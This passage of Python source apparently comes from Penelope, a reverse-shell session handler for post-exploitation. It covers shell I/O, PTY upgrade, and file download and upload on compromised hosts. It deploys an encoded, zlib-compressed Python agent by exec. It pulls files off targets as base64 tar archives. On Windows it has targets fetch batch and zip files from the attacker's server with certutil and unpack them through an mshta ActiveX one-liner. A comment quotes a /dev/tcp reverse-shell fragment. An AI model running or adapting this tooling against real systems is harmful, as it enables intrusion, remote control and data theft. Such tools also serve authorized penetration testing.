2711 | data_timeout = options.short_timeout if timeout is False else timeout
2712 | continuation_timeout = options.latency
2713 | timeout = data_timeout
2714 |
2715 | last_data = time.perf_counter()
2716 | need_check = False
2717 | while self.subchannel.result is None:
2718 | logger.debug(paint(f"Waiting for data (timeout={timeout})...").blue)
2719 | readables, _, _ = select([self.subchannel.control, self.subchannel], [], [], timeout)
2720 |
2721 | if self.subchannel.control in readables:
2722 | command = self.subchannel.control.get()
2723 | logger.debug(f"Subchannel Control Queue: {command}")
2724 |
2725 | if command == 'stop':
2726 | self.subchannel.result = False
2727 | break
2728 |
2729 | elif command == 'kill':
2730 | self.subchannel.can_use = False
2731 | self.subchannel.result = False
2732 | break
2733 |
2734 | if self.subchannel in readables:
2735 | logger.debug(f"Latency: {time.perf_counter() - last_data}")
2736 | last_data = time.perf_counter()
2737 |
2738 | data = self.subchannel.read()
2739 | buffer.write(data)
2740 | logger.debug(f"{paint('Received').GREEN} -> {data}")
2741 |
2742 | if timeout == data_timeout:
2743 | timeout = continuation_timeout
2744 | need_check = True
2745 |
2746 | else:
2747 | if timeout == data_timeout:
2748 | logger.debug(paint("TIMEOUT").RED)
2749 | self.subchannel.result = False
2750 | break
2751 | else:
2752 | need_check = True
2753 | timeout = data_timeout
2754 |
2755 | if need_check:
2756 | need_check = False
2757 |
2758 | if raw and self.echoing and cmd:
2759 | result = buffer.getvalue()
2760 | if re.search(echoed_cmd_regex + (b'.' if self.interactive else b''), result, re.DOTALL):
2761 | self.subchannel.result = re.sub(echoed_cmd_regex, b'', result)
2762 | break
2763 | else:
2764 | logger.debug("The echoable is not exhausted")
2765 | continue
2766 | if not raw:
2767 | check = self.subchannel.pattern.search(buffer.getvalue())
2768 | if check:
2769 | logger.debug(paint('Got all data!').green)
2770 | self.subchannel.result = check[1]
2771 | break
2772 | logger.debug(paint('We didn\'t get all data; continue receiving').yellow)
2773 |
2774 | elif expect_func:
2775 | if expect_func(buffer.getvalue()):
2776 | logger.debug(paint(f"The expected strings found in data").yellow)
2777 | self.subchannel.result = buffer.getvalue()
2778 | else:
2779 | logger.debug(paint('No expected strings found in data. Receive again...').yellow)
2780 |
2781 | else:
2782 | logger.debug(paint('Maybe got all data !?').yellow)
2783 | self.subchannel.result = buffer.getvalue()
2784 | break
2785 |
2786 | _stop = time.perf_counter()
2787 | logger.debug(f"{paint('FINAL TIME: ').white_BLUE}{_stop - _start}")
2788 |
2789 | if value and self.subchannel.result is not False:
2790 | self.subchannel.result = self.subchannel.result.strip().decode() # TODO check strip
2791 | logger.debug(f"{paint('FINAL RESPONSE: ').white_BLUE}{self.subchannel.result}")
2792 | self.subchannel.active = False
2793 |
2794 | if separate and self.subchannel.result:
2795 | self.subchannel.result = re.search(rb"..\x01.*", self.subchannel.result, re.DOTALL)[0]
2796 | buffer = io.BytesIO()
2797 | for _type, _value in self.messenger.feed(self.subchannel.result):
2798 | buffer.write(_value)
2799 | return buffer.getvalue()
2800 |
2801 | return self.subchannel.result
2802 |
2803 | def need_binary(self, name, url):
2804 | options = (
2805 | f"\n 1) Upload {paint(url).blue}{paint().magenta}"
2806 | f"\n 2) Upload local {name} binary"
2807 | f"\n 3) Specify remote {name} binary path"
2808 | f"\n 4) None of the above\n"
2809 | )
2810 | print(paint(options).magenta)
2811 | answer = ask("Select action: ")
2812 |
2813 | if answer == "1":
2814 | return self.upload(
2815 | url,
2816 | remote_path=self.tmp,
2817 | randomize_fname=False
2818 | )[0]
2819 |
2820 | elif answer == "2":
2821 | local_path = ask(f"Enter {name} local path: ")
2822 | if local_path:
2823 | if os.path.exists(local_path):
2824 | return self.upload(
2825 | local_path,
2826 | remote_path=self.tmp,
2827 | randomize_fname=False
2828 | )[0]
2829 | else:
2830 | logger.error("The local path does not exist...")
2831 |
2832 | elif answer == "3":
2833 | remote_path = ask(f"Enter {name} remote path: ")
2834 | if remote_path:
2835 | if not self.exec(f"test -f {remote_path} || echo x"):
2836 | return remote_path
2837 | else:
2838 | logger.error("The remote path does not exist...")
2839 |
2840 | elif answer == "4":
2841 | return False
2842 |
2843 | return self.need_binary(name, url)
2844 |
2845 | def upgrade(self):
2846 | self.upgrade_attempted = True
2847 | if self.OS == "Unix":
2848 | if self.agent:
2849 | logger.warning("Python Agent is already deployed")
2850 | return False
2851 |
2852 | if self.need_control_sessions and self.control_sessions == [self]:
2853 | logger.warning("This is a control session and cannot be upgraded")
2854 | return False
2855 |
2856 | if self.pty_ready:
2857 | if self.can_deploy_agent:
2858 | logger.info("Attempting to deploy Python Agent...")
2859 | else:
2860 | logger.warning("This shell is already PTY")
2861 | else:
2862 | logger.info("Attempting to upgrade shell to PTY...")
2863 |
2864 | self.shell = self.bin['bash'] or self.bin['sh']
2865 | if not self.shell:
2866 | logger.warning("Cannot detect shell. Abort upgrading...")
2867 | return False
2868 |
2869 | if self.can_deploy_agent:
2870 | _bin = self.bin['python3'] or self.bin['python']
2871 | if self.remote_python_version >= (3,):
2872 | _decode = 'b64decode'
2873 | _exec = 'exec(cmd, globals(), locals())'
2874 | else:
2875 | _decode = 'decodestring'
2876 | _exec = 'exec cmd in globals(), locals()'
2877 |
2878 | agent = dedent('\n'.join(AGENT.splitlines()[1:])).format(
2879 | self.shell,
2880 | options.network_buffer_size,
2881 | MESSENGER,
2882 | STREAM,
2883 | self.bin['sh'] or self.bin['bash'],
2884 | _exec
2885 | )
2886 | payload = base64.b64encode(compress(agent.encode(), 9)).decode()
2887 | cmd = f'{_bin} -Wignore -c \'import base64,zlib;exec(zlib.decompress(base64.{_decode}("{payload}")))\''
2888 |
2889 | elif not self.pty_ready:
2890 | socat_cmd = f"{{}} - exec:{self.shell},pty,stderr,setsid,sigint,sane;exit 0"
2891 | if self.bin['script']:
2892 | _bin = self.bin['script']
2893 | cmd = f"{_bin} -q /dev/null; exit 0"
2894 |
2895 | elif self.bin['socat']:
2896 | _bin = self.bin['socat']
2897 | cmd = socat_cmd.format(_bin)
2898 |
2899 | else:
2900 | _bin = self.tmp + '/socat'
2901 | if not self.exec(f"test -f {_bin} || echo x"): # TODO maybe needs rstrip
2902 | cmd = socat_cmd.format(_bin)
2903 | else:
2904 | logger.warning("Cannot upgrade shell with the available binaries...")
2905 | socat_binary = self.need_binary("socat", URLS['socat'])
2906 | if socat_binary:
2907 | _bin = socat_binary
2908 | cmd = socat_cmd.format(_bin)
2909 | else:
2910 | if readline:
2911 | logger.info("Readline support enabled")
2912 | self.readline = True
2913 | self.type = 'Readline'
2914 | return True
2915 | else:
2916 | logger.error("Falling back to basic shell support")
2917 | return False
2918 |
2919 | if not self.can_deploy_agent and not self.spare_control_sessions:
2920 | logger.warning("Python agent cannot be deployed. I need to maintain at least one basic session to handle the PTY")
2921 | core.session_wait_host = self.name
2922 | self.spawn()
2923 | try:
2924 | new_session = core.sessions[core.session_wait.get(timeout=options.short_timeout)]
2925 | core.session_wait_host = None
2926 |
2927 | except queue.Empty:
2928 | logger.error("Failed spawning new session")
2929 | return False
2930 |
2931 | if self.pty_ready:
2932 | return True
2933 |
2934 | if self.pty_ready:
2935 | self.exec("stty -echo")
2936 | self.echoing = False
2937 |
2938 | elif self.interactive:
2939 | # Some shells are unstable in interactive mode
2940 | # For example: & /dev/tcp/X.X.X.X/4444 0>&1"); ?>
2941 | # Silently convert the shell to non-interactive before PTY upgrade.
2942 | self.interactive = False
2943 | self.echoing = True
2944 | self.exec(f"exec {self.shell}", raw=True)
2945 | self.echoing = False
2946 |
2947 | response = self.exec(
2948 | f'export TERM=xterm-256color; export SHELL={self.shell}; {cmd}',
2949 | separate=self.can_deploy_agent,
2950 | expect_func=lambda data: not self.can_deploy_agent or b"\x01" in data,
2951 | raw=True
2952 | )
2953 | if self.can_deploy_agent and not isinstance(response, bytes):
2954 | logger.error("The shell became unresponsive. I am killing it, sorry... Next time I will not try to deploy agent")
2955 | Path(self.directory / ".noagent").touch()
2956 | self.kill()
2957 | return False
2958 |
2959 | logger.info(f"Shell upgraded successfully using {paint(_bin).yellow}{paint().green}! 💪")
2960 |
2961 | self.agent = self.can_deploy_agent
2962 | self.type = 'PTY'
2963 | self.interactive = True
2964 | self.echoing = True
2965 | self.prompt = response
2966 |
2967 | self.get_shell_info()
2968 |
2969 | if _bin == self.bin['script']:
2970 | self.bypass_control_session = True
2971 | self.exec("stty sane")
2972 | self.bypass_control_session = False
2973 |
2974 | elif self.OS == "Windows":
2975 | if self.type != 'PTY':
2976 | self.readline = True
2977 | logger.info("Added readline support...")
2978 |
2979 | return True
2980 |
2981 | def update_pty_size(self):
2982 | columns, lines = shutil.get_terminal_size()
2983 | if self.OS == 'Unix':
2984 | if self.agent:
2985 | self.send(Messenger.message(Messenger.RESIZE, struct.pack("HH", lines, columns)))
2986 | else: # TODO
2987 | threading.Thread(
2988 | target=self.exec,
2989 | args=(f"stty rows {lines} columns {columns} -F {self.tty}",),
2990 | name="RESIZE"
2991 | ).start() #TEMP
2992 | elif self.OS == 'Windows': # TODO
2993 | pass
2994 |
2995 | def readline_loop(self):
2996 | while core.attached_session == self:
2997 | try:
2998 | cmd = input("\033[s\033[u", self.histfile, options.histlength, None, "\t") # TODO
2999 | if self.subtype == 'cmd':
3000 | assert len(cmd) <= MAX_CMD_PROMPT_LEN
3001 | #self.record(b"\n" + cmd.encode(), _input=True)
3002 |
3003 | except EOFError:
3004 | self.detach()
3005 | break
3006 | except AssertionError:
3007 | logger.error(f"Maximum prompt length is {MAX_CMD_PROMPT_LEN} characters. Current prompt is {len(cmd)}")
3008 | else:
3009 | self.send(cmd.encode() + b"\n")
3010 |
3011 | def attach(self):
3012 | if threading.current_thread().name != 'Core':
3013 | if self.new:
3014 | self.new = False
3015 | self.bypass_control_session = True
3016 | upgrade_conditions = [
3017 | not options.no_upgrade,
3018 | not (self.need_control_session and self.control_sessions == [self]),
3019 | not self.upgrade_attempted
3020 | ]
3021 | if all(upgrade_conditions):
3022 | self.upgrade()
3023 | self.bypass_control_session = False
3024 |
3025 | if self.prompt:
3026 | self.record(self.prompt)
3027 |
3028 | core.control << f'self.sessions[{self.id}].attach()'
3029 | menu.active.clear() # Redundant but safeguard
3030 | return True
3031 |
3032 | if core.attached_session is not None:
3033 | return False
3034 |
3035 | if self.type == 'PTY':
3036 | escape_key = options.escape['key']
3037 | elif self.readline:
3038 | escape_key = 'Ctrl-D'
3039 | else:
3040 | escape_key = 'Ctrl-C'
3041 |
3042 | logger.info(
3043 | f"Interacting with session {paint('[' + str(self.id) + ']').red}"
3044 | f"{paint(', Shell Type:').green} {paint(self.type).CYAN}{paint(', Menu key:').green} "
3045 | f"{paint(escape_key).MAGENTA} "
3046 | )
3047 |
3048 | if not options.no_log:
3049 | logger.info(f"Logging to {paint(self.logpath).yellow_DIM} 📜")
3050 | print(paint('─').DIM * shutil.get_terminal_size()[0])
3051 |
3052 | core.attached_session = self
3053 | core.rlist.append(sys.stdin)
3054 |
3055 | stdout(bytes(self.last_lines))
3056 |
3057 | if self.type == 'PTY':
3058 | tty.setraw(sys.stdin)
3059 | os.kill(os.getpid(), signal.SIGWINCH)
3060 |
3061 | elif self.readline:
3062 | threading.Thread(target=self.readline_loop).start()
3063 |
3064 | self._cwd = None
3065 | return True
3066 |
3067 | def sync_cwd(self):
3068 | self._cwd = None
3069 | if self.agent:
3070 | self.exec(f"os.chdir('{self.cwd}')", python=True, value=True)
3071 | elif self.need_control_session:
3072 | self.control_session.exec(f"cd {self.cwd}")
3073 |
3074 | def detach(self):
3075 | if self and self.OS == 'Unix' and (self.agent or self.need_control_session):
3076 | threading.Thread(target=self.sync_cwd).start()
3077 |
3078 | if threading.current_thread().name != 'Core':
3079 | core.control << f'self.sessions[{self.id}].detach()'
3080 | return
3081 |
3082 | if core.attached_session is None:
3083 | return False
3084 |
3085 | core.attached_session = None
3086 | core.rlist.remove(sys.stdin)
3087 |
3088 | if not self.type == 'Basic':
3089 | termios.tcsetattr(sys.stdin, termios.TCSADRAIN, TTY_NORMAL)
3090 |
3091 | if self.id in core.sessions:
3092 | print()
3093 | logger.warning("Session detached ⇲")
3094 | menu.set_id(self.id)
3095 | else:
3096 | if options.single_session and not core.sessions:
3097 | core.stop()
3098 | logger.info("Penelope exited due to Single Session mode")
3099 | return
3100 | menu.set_id(None)
3101 | menu.show()
3102 |
3103 | return True
3104 |
3105 | def download(self, remote_items):
3106 | # Initialization
3107 | try:
3108 | shlex.split(remote_items) # Early check for shlex errors
3109 | except ValueError as e:
3110 | logger.error(e)
3111 | return []
3112 |
3113 | local_download_folder = self.directory / "downloads"
3114 | try:
3115 | local_download_folder.mkdir(parents=True, exist_ok=True)
3116 | except Exception as e:
3117 | logger.error(e)
3118 | return []
3119 |
3120 | if self.OS == 'Unix':
3121 | # Check for local available space
3122 | available_bytes = shutil.disk_usage(local_download_folder).free
3123 | if self.agent:
3124 | block_size = os.statvfs(local_download_folder).f_frsize
3125 | response = self.exec(f"{GET_GLOB_SIZE}"
3126 | f"stdout_stream << str(get_glob_size({repr(remote_items)}, {block_size})).encode()",
3127 | python=True,
3128 | value=True
3129 | )
3130 | try:
3131 | remote_size = int(float(response))
3132 | except:
3133 | logger.error(response)
3134 | return []
3135 | else:
3136 | cmd = f"du -ck {remote_items}"
3137 | response = self.exec(cmd, timeout=None, value=True)
3138 | if not response:
3139 | logger.error("Cannot determine remote size")
3140 | return []
3141 | #errors = [line[4:] for line in response.splitlines() if line.startswith('du: ')]
3142 | #for error in errors:
3143 | # logger.error(error)
3144 | remote_size = int(response.splitlines()[-1].split()[0]) * 1024
3145 |
3146 | need = remote_size - available_bytes
3147 |
3148 | if need > 0:
3149 | logger.error(
3150 | f"--- Not enough space to download... {paint('We need ').blue}"
3151 | f"{paint().yellow}{need:,}{paint().blue} more bytes..."
3152 | )
3153 | return []
3154 |
3155 | # Packing and downloading
3156 | if self.agent:
3157 | stdin_stream = self.new_streamID
3158 | stdout_stream = self.new_streamID
3159 | stderr_stream = self.new_streamID
3160 |
3161 | if not all([stdout_stream, stderr_stream]):
3162 | return
3163 |
3164 | code = fr"""
3165 | from glob import glob
3166 | normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path)))
3167 | items = []
3168 | for part in shlex.split({repr(remote_items)}):
3169 | _items = glob(normalize_path(part))
3170 | if _items:
3171 | items.extend(_items)
3172 | else:
3173 | items.append(part)
3174 | import tarfile
3175 | if hasattr(tarfile, 'DEFAULT_FORMAT'):
3176 | tarfile.DEFAULT_FORMAT = tarfile.PAX_FORMAT
3177 | else:
3178 | tarfile.TarFile.posix = True
3179 | tar = tarfile.open(name="", mode='w|gz', fileobj=stdout_stream)
3180 | def handle_exceptions(func):
3181 | def inner(*args, **kwargs):
3182 | try:
3183 | func(*args, **kwargs)
3184 | except:
3185 | stderr_stream << (str(sys.exc_info()[1]) + '\n').encode()
3186 | return inner
3187 | tar.add = handle_exceptions(tar.add)
3188 | for item in items:
3189 | try:
3190 | tar.add(os.path.abspath(item))
3191 | except:
3192 | stderr_stream << (str(sys.exc_info()[1]) + '\n').encode()
3193 | tar.close()
3194 | """
3195 |
3196 | threading.Thread(target=self.exec, args=(code, ), kwargs={
3197 | 'python': True,
3198 | 'stdin_stream': stdin_stream,
3199 | 'stdout_stream': stdout_stream,
3200 | 'stderr_stream': stderr_stream
3201 | }).start()
3202 |
3203 | error_buffer = ''
3204 | while True:
3205 | r, _, _ = select([stderr_stream], [], [])
3206 | data = stderr_stream.read(options.network_buffer_size)
3207 | if data:
3208 | error_buffer += data.decode()
3209 | while '\n' in error_buffer:
3210 | line, error_buffer = error_buffer.split('\n', 1)
3211 | logger.error(str(paint("").cyan) + " " + str(paint(line).red))
3212 | else:
3213 | break
3214 |
3215 | tar_source, mode = stdout_stream, "r|gz"
3216 | else:
3217 | temp = self.tmp + "/" + rand(8)
3218 | cmd = rf'for file in {remote_items};do readlink -f "$file";done|xargs -d"\n" tar cz|base64 -w0 > {temp}'
3219 | response = self.exec(cmd, timeout=None, value=True)
3220 | if not response:
3221 | logger.error("Cannot create archive")
3222 | return []
3223 | errors = [line[5:] for line in response.splitlines() if line.startswith('tar: /')]
3224 | for error in errors:
3225 | logger.error(error)
3226 | send_size = int(self.exec(rf"stat {temp} | sed -n 's/.*Size: \([0-9]*\).*/\1/p'"))
3227 |
3228 | b64data = io.BytesIO()
3229 | for offset in range(0, send_size, options.download_chunk_size):
3230 | response = self.exec(f"cut -c{offset + 1}-{offset + options.download_chunk_size} {temp}")
3231 | if response is False:
3232 | logger.error("Download interrupted")
3233 | return []
3234 | b64data.write(response)
3235 | self.exec(f"rm {temp}")
3236 |
3237 | data = io.BytesIO()
3238 | data.write(base64.b64decode(b64data.getvalue()))
3239 | data.seek(0)
3240 |
3241 | tar_source, mode = data, "r:gz"
3242 |
3243 | #print(remote_size)
3244 | #if not remote_size:
3245 | # return []
3246 |
3247 | # Local extraction
3248 | try:
3249 | tar = tarfile.open(mode=mode, fileobj=tar_source)
3250 | except:
3251 | logger.error("Invalid data returned")
3252 | return []
3253 |
3254 | def add_w(func):
3255 | def inner(*args, **kwargs):
3256 | args[0].mode |= 0o200
3257 | func(*args, **kwargs)
3258 | return inner
3259 |
3260 | tar._extract_member = add_w(tar._extract_member)
3261 |
3262 | with warnings.catch_warnings():
3263 | warnings.simplefilter("ignore", category=DeprecationWarning)
3264 | try:
3265 | tar.extractall(local_download_folder)
3266 | except Exception as e:
3267 | logger.error(str(paint("").yellow) + " " + str(paint(e).red))
3268 | tar.close()
3269 |
3270 | if self.agent:
3271 | stdin_stream.write(b"")
3272 | os.close(stdin_stream._read)
3273 | os.close(stdin_stream._write)
3274 | del self.streams[stdin_stream.id]
3275 | os.close(stdout_stream._read)
3276 | del self.streams[stdout_stream.id]
3277 | del self.streams[stderr_stream.id]
3278 |
3279 | # Get the remote absolute paths
3280 | response = self.exec(f"""
3281 | from glob import glob
3282 | normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path)))
3283 | remote_paths = ''
3284 | for part in shlex.split({repr(remote_items)}):
3285 | result = glob(normalize_path(part))
3286 | if result:
3287 | for item in result:
3288 | if os.path.exists(item):
3289 | remote_paths += os.path.abspath(item) + "\\n"
3290 | else:
3291 | remote_paths += part + "\\n"
3292 | stdout_stream << remote_paths.encode()
3293 | """, python=True, value=True)
3294 | else:
3295 | cmd = f'for file in {remote_items}; do if [ -e "$file" ]; then readlink -f "$file"; else echo "$file"; fi; done'
3296 | response = self.exec(cmd, timeout=None, value=True)
3297 | if not response:
3298 | logger.error("Cannot get remote paths")
3299 | return []
3300 |
3301 | remote_paths = response.splitlines()
3302 |
3303 | # Present the downloads
3304 | downloaded = []
3305 | for path in remote_paths:
3306 | local_path = local_download_folder / path[1:]
3307 | if os.path.isabs(path) and os.path.exists(local_path):
3308 | downloaded.append(local_path)
3309 | else:
3310 | logger.error(f"{paint('Download Failed').RED_white} {shlex.quote(path)}")
3311 |
3312 | elif self.OS == 'Windows':
3313 | remote_tempfile = f"{self.tmp}\\{rand(10)}.zip"
3314 | tempfile_bat = f'/dev/shm/{rand(16)}.bat'
3315 | remote_items_ps = r'\", \"'.join(shlex.split(remote_items))
3316 | cmd = (
3317 | f'@powershell -command "$archivepath=\'{remote_tempfile}\';compress-archive -path \'{remote_items_ps}\''
3318 | ' -DestinationPath $archivepath;'
3319 | '$b64=[Convert]::ToBase64String([IO.File]::ReadAllBytes($archivepath));'
3320 | 'Remove-Item $archivepath;'
3321 | 'Write-Host $b64"'
3322 | )
3323 | with open(tempfile_bat, "w") as f:
3324 | f.write(cmd)
3325 |
3326 | server = FileServer(host=self._host, url_prefix=rand(8), quiet=True)
3327 | urlpath_bat = server.add(tempfile_bat)
3328 | temp_remote_file_bat = urlpath_bat.split("/")[-1]
3329 | server.start()
3330 | data = self.exec(
3331 | f'certutil -urlcache -split -f "http://{self._host}:{server.port}{urlpath_bat}" '
3332 | f'"%TEMP%\\{temp_remote_file_bat}" >NUL 2>&1&"%TEMP%\\{temp_remote_file_bat}"&'
3333 | f'del "%TEMP%\\{temp_remote_file_bat}"',
3334 | force_cmd=True, value=True, timeout=None)
3335 | server.stop()
3336 |
3337 | if not data:
3338 | return []
3339 | downloaded = set()
3340 | try:
3341 | with zipfile.ZipFile(io.BytesIO(base64.b64decode(data)), 'r') as zipdata:
3342 | for item in zipdata.infolist():
3343 | item.filename = item.filename.replace('\\', '/')
3344 | downloaded.add(Path(local_download_folder) / Path(item.filename.split('/')[0]))
3345 | newpath = Path(zipdata.extract(item, path=local_download_folder))
3346 |
3347 | except zipfile.BadZipFile:
3348 | logger.error("Invalid zip format")
3349 |
3350 | except binascii_error:
3351 | logger.error("The item does not exist or access is denied")
3352 |
3353 | for item in downloaded:
3354 | logger.info(f"{paint('Download OK').GREEN_white} {paint(shlex.quote(pathlink(item))).yellow}")
3355 |
3356 | return downloaded
3357 |
3358 | def upload(self, local_items, remote_path=None, randomize_fname=False):
3359 |
3360 | # Check remote permissions
3361 | destination = remote_path or self.cwd
3362 | try:
3363 | if self.OS == 'Unix':
3364 | if self.agent:
3365 | if not eval(self.exec(
3366 | f"stdout_stream << str(os.access('{destination}', os.W_OK)).encode()",
3367 | python=True,
3368 | value=True
3369 | )):
3370 | logger.error(f"{destination}: Permission denied")
3371 | return []
3372 | else:
3373 | if int(self.exec(f"[ -w \"{destination}\" ];echo $?", value=True)):
3374 | logger.error(f"{destination}: Permission denied")
3375 | return []
3376 | elif self.OS == 'Windows':
3377 | pass # TODO
3378 | except Exception as e:
3379 | logger.error(e)
3380 |
3381 | # Initialization
3382 | try:
3383 | local_items = [item if re.match(r'(http|ftp)s?://', item, re.IGNORECASE)\
3384 | else normalize_path(item) for item in shlex.split(local_items)]
3385 |
3386 | except ValueError as e:
3387 | logger.error(e)
3388 | return []
3389 |
3390 | # Check for necessary binaries
3391 | if self.OS == 'Unix' and not self.agent:
3392 | dependencies = ['echo', 'base64', 'tar', 'rm']
3393 | for binary in dependencies:
3394 | if not self.bin[binary]:
3395 | logger.error(f"'{binary}' binary is not available at the target. Cannot upload...")
3396 | return []
3397 |
3398 | # Resolve items
3399 | resolved_items = []
3400 | for item in local_items:
3401 | # Download URL
3402 | if re.match(r'(http|ftp)s?://', item, re.IGNORECASE):
3403 | try:
3404 | filename, item = url_to_bytes(item)
3405 | if not item:
3406 | continue
3407 | resolved_items.append((filename, item))
3408 | except Exception as e:
3409 | logger.error(e)
3410 | else:
3411 | if os.path.isabs(item):
3412 | items = list(Path('/').glob(item.lstrip('/')))
3413 | else:
3414 | items = list(Path().glob(item))
3415 | if items:
3416 | resolved_items.extend(items)
3417 | else:
3418 | logger.error(f"No such file or directory: {item}")
3419 |
3420 | if not resolved_items:
3421 | return []
3422 |
3423 | if self.OS == 'Unix':
3424 | # Get remote available space
3425 | if self.agent:
3426 | response = self.exec(f"""
3427 | stats = os.statvfs('{destination}')
3428 | stdout_stream << (str(stats.f_bavail) + ';' + str(stats.f_frsize)).encode()
3429 | """, python=True, value=True)
3430 |
3431 | remote_available_blocks, remote_block_size = map(int, response.split(';'))
3432 | remote_space = remote_available_blocks * remote_block_size
3433 | else:
3434 | remote_block_size = int(self.exec(rf'stat -c "%o" {destination} 2>/dev/null || stat -f "%k" {destination}', value=True))
3435 | remote_space = int(self.exec(f"df -k {destination}|tail -1|awk '{{print $4}}'", value=True)) * 1024
3436 |
3437 | # Calculate local size
3438 | local_size = 0
3439 | for item in resolved_items:
3440 | if isinstance(item, tuple):
3441 | local_size += ceil(len(item[1]) / remote_block_size) * remote_block_size
3442 | else:
3443 | local_size += get_glob_size(str(item), remote_block_size)
3444 |
3445 | # Check required space
3446 | need = local_size - remote_space
3447 | if need > 0:
3448 | logger.error(
3449 | f"--- Not enough space on target... {paint('We need ').blue}"
3450 | f"{paint().yellow}{need:,}{paint().blue} more bytes..."
3451 | )
3452 | return []
3453 |
3454 | # Start Uploading
3455 | if self.agent:
3456 | stdin_stream = self.new_streamID
3457 | stdout_stream = self.new_streamID
3458 | stderr_stream = self.new_streamID
3459 |
3460 | if not all([stdin_stream, stderr_stream]):
3461 | return
3462 |
3463 | code = rf"""
3464 | import tarfile
3465 | if hasattr(tarfile, 'DEFAULT_FORMAT'):
3466 | tarfile.DEFAULT_FORMAT = tarfile.PAX_FORMAT
3467 | else:
3468 | tarfile.TarFile.posix = True
3469 | tar = tarfile.open(name='', mode='r|gz', fileobj=stdin_stream)
3470 | tar.errorlevel = 1
3471 | for item in tar:
3472 | try:
3473 | tar.extract(item, path='{destination}')
3474 | except:
3475 | stderr_stream << (str(sys.exc_info()[1]) + '\n').encode()
3476 | tar.close()
3477 | """
3478 | threading.Thread(target=self.exec, args=(code, ), kwargs={
3479 | 'python': True,
3480 | 'stdin_stream': stdin_stream,
3481 | 'stdout_stream': stdout_stream,
3482 | 'stderr_stream': stderr_stream
3483 | }).start()
3484 |
3485 | tar_destination, mode = stdin_stream, "r|gz"
3486 | else:
3487 | tar_buffer = io.BytesIO()
3488 | tar_destination, mode = tar_buffer, "r:gz"
3489 |
3490 | tar = tarfile.open(mode='w|gz', fileobj=tar_destination)
3491 |
3492 | def handle_exceptions(func):
3493 | def inner(*args, **kwargs):
3494 | try:
3495 | func(*args, **kwargs)
3496 | except Exception as e:
3497 | logger.error(str(paint("").yellow) + " " + str(paint(e).red))
3498 | return inner
3499 | tar.add = handle_exceptions(tar.add)
3500 |
3501 | altnames = []
3502 | for item in resolved_items:
3503 | if isinstance(item, tuple):
3504 | filename, data = item
3505 |
3506 | if randomize_fname:
3507 | filename = Path(filename)
3508 | altname = f"{filename.stem}-{rand(8)}{filename.suffix}"
3509 | else:
3510 | altname = filename
3511 |
3512 | file = tarfile.TarInfo(name=altname)
3513 | file.size = len(data)
3514 | file.mode = 0o770
3515 | file.mtime = int(time.time())
3516 |
3517 | tar.addfile(file, io.BytesIO(data))
3518 | else:
3519 | altname = f"{item.stem}-{rand(8)}{item.suffix}" if randomize_fname else item.name
3520 | tar.add(item, arcname=altname)
3521 | altnames.append(altname)
3522 | tar.close()
3523 |
3524 | if self.agent:
3525 | stdin_stream.write(b"")
3526 | error_buffer = ''
3527 | while True:
3528 | r, _, _ = select([stderr_stream], [], [])
3529 | data = stderr_stream.read(options.network_buffer_size)
3530 | if data:
3531 | error_buffer += data.decode()
3532 | while '\n' in error_buffer:
3533 | line, error_buffer = error_buffer.split('\n', 1)
3534 | logger.error(str(paint("").cyan) + " " + str(paint(line).red))
3535 | else:
3536 | break
3537 | os.close(stdin_stream._read)
3538 | os.close(stdin_stream._write)
3539 | os.close(stdout_stream._read)
3540 | del self.streams[stdin_stream.id]
3541 | del self.streams[stdout_stream.id]
3542 | del self.streams[stderr_stream.id]
3543 |
3544 | else: # TODO
3545 | tar_buffer.seek(0)
3546 | data = base64.b64encode(tar_buffer.read()).decode()
3547 | temp = self.tmp + "/" + rand(8)
3548 |
3549 | for chunk in chunks(data, options.upload_chunk_size):
3550 | response = self.exec(f"printf {chunk} >> {temp}")
3551 | if response is False:
3552 | #progress_bar.terminate()
3553 | logger.error("Upload interrupted")
3554 | return [] # TODO
3555 | #progress_bar.update(len(chunk))
3556 |
3557 | #logger.info(paint("--- Remote unpacking...").blue)
3558 | dest = f"-C {remote_path}" if remote_path else ""
3559 | cmd = f"base64 -d < {temp} | tar xz {dest} 2>&1; temp=$?"
3560 | response = self.exec(cmd, value=True)
3561 | exit_code = int(self.exec("echo $temp", value=True))
3562 | self.exec(f"rm {temp}")
3563 | if exit_code:
3564 | logger.error(response)
3565 | return [] # TODO
3566 |
3567 | elif self.OS == 'Windows':
3568 | tempfile_zip = f'/dev/shm/{rand(16)}.zip'
3569 | tempfile_bat = f'/dev/shm/{rand(16)}.bat'
3570 | with zipfile.ZipFile(tempfile_zip, 'w') as myzip:
3571 | altnames = []
3572 | for item in resolved_items:
3573 | if isinstance(item, tuple):
3574 | filename, data = item
3575 | if randomize_fname:
3576 | filename = Path(filename)
3577 | altname = f"{filename.stem}-{rand(8)}{filename.suffix}"
3578 | else:
3579 | altname = filename
3580 | zip_info = zipfile.ZipInfo(filename=str(altname))
3581 | zip_info.date_time = time.localtime(time.time())[:6]
3582 | myzip.writestr(zip_info, data)
3583 | else:
3584 | altname = f"{item.stem}-{rand(8)}{item.suffix}" if randomize_fname else item.name
3585 | myzip.write(item, arcname=altname)
3586 | altnames.append(altname)
3587 |
3588 | server = FileServer(host=self._host, url_prefix=rand(8), quiet=True)
3589 | urlpath_zip = server.add(tempfile_zip)
3590 |
3591 | cwd_escaped = self.cwd.replace('\\', '\\\\')
3592 | tmp_escaped = self.tmp.replace('\\', '\\\\')
3593 | temp_remote_file_zip = urlpath_zip.split("/")[-1]
3594 |
3595 | fetch_cmd = f'certutil -urlcache -split -f "http://{self._host}:{server.port}{urlpath_zip}" "%TEMP%\\{temp_remote_file_zip}" && echo DOWNLOAD OK'
3596 | unzip_cmd = f'mshta "javascript:var sh=new ActiveXObject(\'shell.application\'); var fso = new ActiveXObject(\'Scripting.FileSystemObject\'); sh.Namespace(\'{cwd_escaped}\').CopyHere(sh.Namespace(\'{tmp_escaped}\\\\{temp_remote_file_zip}\').Items(), 16); while(sh.Busy) {{WScript.Sleep(100);}} fso.DeleteFile(\'{tmp_escaped}\\\\{temp_remote_file_zip}\');close()" && echo UNZIP OK'
3597 |
3598 | with open(tempfile_bat, "w") as f:
3599 | f.write(fetch_cmd + "\n")
3600 | f.write(unzip_cmd)
3601 |
3602 | urlpath_bat = server.add(tempfile_bat)
3603 | temp_remote_file_bat = urlpath_bat.split("/")[-1]
3604 | server.start()
3605 | response = self.exec(
